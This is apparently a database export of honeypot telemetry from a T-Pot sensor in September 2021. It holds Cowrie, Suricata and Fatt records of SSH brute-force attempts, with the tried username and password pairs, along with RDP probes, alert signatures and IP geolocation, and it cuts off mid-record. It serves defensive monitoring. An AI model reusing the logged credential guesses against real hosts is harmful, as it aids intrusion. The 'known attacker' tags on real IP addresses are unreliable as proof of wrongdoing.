37097	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:18:33.436397+03	2021-09-20 15:30:03.20241+03	{"_id": "XQYkA3wBvYTbRNuExWZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 176.122.188.154:42806 (192.168.176.2:22) [session: 0eb3514424b5]", "session": "0eb3514424b5", "@version": "1", "protocol": "ssh", "src_port": 42806, "dest_port": 22, "timestamp": "2021-09-20T12:18:33.436397Z", "@timestamp": "2021-09-20T12:18:33.436Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
37098	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 15:18:33.439374+03	2021-09-20 15:30:03.20341+03	{"_id": "XgYkA3wBvYTbRNuExWZ4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0eb3514424b5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:18:33.439374Z", "@timestamp": "2021-09-20T12:18:33.439Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
37099	94.232.41.165	109.199.241.180	Suricata	2021-09-20 15:18:36.472296+03	2021-09-20 15:30:03.205411+03	{"_id": "cgYkA3wBvYTbRNuE0mY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:36.301417+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "94.232.41.165", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 329578545191273, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 31025, "dest_port": 3389, "timestamp": "2021-09-20T12:18:36.472296Z", "@timestamp": "2021-09-20T12:18:36.472Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	RU
37100	20.82.19.171	109.199.241.180	Suricata	2021-09-20 15:18:36.904133+03	2021-09-20 15:30:03.20641+03	{"_id": "dAYkA3wBvYTbRNuE0mY6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:36.904133+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "20.82.19.171", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "20.82.19.171", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 1643948059446213, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62645, "timestamp": "2021-09-20T12:18:36.904133Z", "@timestamp": "2021-09-20T12:18:36.904Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
37101	94.232.41.165	109.199.241.180	Fatt	2021-09-20 15:18:36.37438+03	2021-09-20 15:30:03.207409+03	{"_id": "eQYkA3wBvYTbRNuE02Z1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 31025, "dest_port": 3389, "timestamp": "2021-09-20T12:18:36.374380", "@timestamp": "2021-09-20T12:18:36.374Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	RU
37102	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:18:37.453493+03	2021-09-20 15:30:03.209409+03	{"_id": "fQYkA3wBvYTbRNuE1WYa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:54838 (192.168.176.2:22) [session: 9ac71a943a4b]", "session": "9ac71a943a4b", "@version": "1", "protocol": "ssh", "src_port": 54838, "dest_port": 22, "timestamp": "2021-09-20T12:18:37.453493Z", "@timestamp": "2021-09-20T12:18:37.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
37103	5.188.62.196	109.199.241.180	Suricata	2021-09-20 15:18:39.111738+03	2021-09-20 15:30:03.210409+03	{"_id": "hQYkA3wBvYTbRNuE2mYM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 33026085944001, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60984, "dest_port": 22, "timestamp": "2021-09-20T12:18:39.111738Z", "@timestamp": "2021-09-20T12:18:39.111Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	RU
37104	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:18:38.990999+03	2021-09-20 15:30:03.211409+03	{"_id": "kQYkA3wBvYTbRNuE3Gbs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [markc/markc] failed", "session": "9ac71a943a4b", "@version": "1", "password": "markc", "username": "markc", "timestamp": "2021-09-20T12:18:38.990999Z", "@timestamp": "2021-09-20T12:18:38.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
37121	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:19:21.401222+03	2021-09-20 15:30:03.237429+03	{"_id": "QAYlA3wBvYTbRNuEgWcU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [root/javed] failed", "session": "53de83dc94c2", "@version": "1", "password": "javed", "username": "root", "timestamp": "2021-09-20T12:19:21.401222Z", "@timestamp": "2021-09-20T12:19:21.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
37105	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:39.112601+03	2021-09-20 15:30:03.212409+03	{"_id": "jwYkA3wBvYTbRNuE3Gbs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "b23fcb0228a5", "@version": "1", "timestamp": "2021-09-20T12:18:39.112601Z", "@timestamp": "2021-09-20T12:18:39.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	RU
37106	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:39.315507+03	2021-09-20 15:30:03.214409+03	{"_id": "kAYkA3wBvYTbRNuE3Gbs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "b23fcb0228a5", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:18:39.315507Z", "@timestamp": "2021-09-20T12:18:39.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	RU
37107	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:18:40.380305+03	2021-09-20 15:30:03.215413+03	{"_id": "kwYkA3wBvYTbRNuE4GbV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "b23fcb0228a5", "@version": "1", "duration": 1.3305563926696777, "timestamp": "2021-09-20T12:18:40.380305Z", "@timestamp": "2021-09-20T12:18:40.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	RU
37108	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:18:41.763048+03	2021-09-20 15:30:03.21741+03	{"_id": "lQYkA3wBvYTbRNuE5Ga9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 23.97.240.235:43586 (192.168.176.2:22) [session: e3606b6d0259]", "session": "e3606b6d0259", "@version": "1", "protocol": "ssh", "src_port": 43586, "dest_port": 22, "timestamp": "2021-09-20T12:18:41.763048Z", "@timestamp": "2021-09-20T12:18:41.763Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
37109	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:18:41.765877+03	2021-09-20 15:30:03.219408+03	{"_id": "lgYkA3wBvYTbRNuE5Ga9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "e3606b6d0259", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:18:41.765877Z", "@timestamp": "2021-09-20T12:18:41.765Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
37110	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:18:43.128649+03	2021-09-20 15:30:03.221408+03	{"_id": "oQYkA3wBvYTbRNuE7GaO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "e3606b6d0259", "@version": "1", "duration": 1.3630473613739014, "timestamp": "2021-09-20T12:18:43.128649Z", "@timestamp": "2021-09-20T12:18:43.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
37111	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:18:42.000739+03	2021-09-20 15:30:03.222433+03	{"_id": "owYkA3wBvYTbRNuE-WZQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:41.161823+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1510499126966303, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 61991, "timestamp": "2021-09-20T12:18:42.000739Z", "@timestamp": "2021-09-20T12:18:42.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
37112	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:19:18.502881+03	2021-09-20 15:30:03.223419+03	{"_id": "MwYlA3wBvYTbRNuEdmdh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:19:18.502881+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 157}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "UDP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0001:0002", "flow_id": 2173156752534625, "payload": "AYv2MAAIAAIYnwABAA4AAQABKNeNKuj0CO/3CQADAAwH6PQIAAAAAAAAAAAAJwARAA9ERVNLVE9QLTBWUUQ2MUIAEAAOAAABNwAITVNGVCA1LjAABgAIABEAFwAYACc=", "@version": "1", "in_iface": "enp5s0", "src_port": 546, "app_proto": "failed", "dest_port": 547, "timestamp": "2021-09-20T12:19:18.502881Z", "@timestamp": "2021-09-20T12:19:18.502Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...0..............(..*.......................'....DESKTOP-0VQD61B.......7..MSFT 5.0...........'"}}	1	\N	\N	alert	\N	\N
37113	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:19:20.194369+03	2021-09-20 15:30:03.225428+03	{"_id": "NAYlA3wBvYTbRNuEe2c-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2332, "dest_port": 22, "timestamp": "2021-09-20T12:19:20.194369", "@timestamp": "2021-09-20T12:19:20.194Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
37114	96.78.175.36	109.199.241.180	Suricata	2021-09-20 15:19:22.916659+03	2021-09-20 15:30:03.22643+03	{"_id": "RQYlA3wBvYTbRNuEhmcE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:19:22.540649+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 263311497773033, "payload": 